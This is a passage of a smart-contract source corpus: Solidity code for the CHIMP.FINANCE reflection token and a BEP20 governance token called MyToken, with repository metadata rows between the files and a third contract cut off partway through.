function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract CHIMP is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'CHIMP.FINANCE';
string private constant _SYMBOL = 'CHIMP';
uint8 private constant _DECIMALS = 9;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 1000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 500;
uint256 private constant _BURN_FEE = 500;
uint256 private constant _MAX_TX_SIZE = 200000000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromMagnetion(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function magnetionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromMagnetion(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total magnetions");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromMagnetion(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _magnetFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 254,009 | 14,076 |
2000a35a1afcd09a7c815091aa6f14999db646a6a5f92acfee8f9231b0b4ae9b
| 36,903 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/d0/d040d9b01C8A65dbD17686CC69352798D9671306_MyToken.sol
| 4,850 | 19,080 |
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// MyToken with Governance.
contract MyToken is BEP20('My Token', 'My') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @dev A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "My::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "My::delegateBySig: invalid nonce");
require(now <= expiry, "My::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "My::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying tokens (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "My::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 51,082 | 14,077 |
201ab17fc97bc0078254ae1a43f04ccf5f929d7cf32bfb608c328c5172a449e2
| 22,593 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x698D6b703daDE1474e62CA7DB03470740944cA0D/contract.sol
| 3,437 | 13,269 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
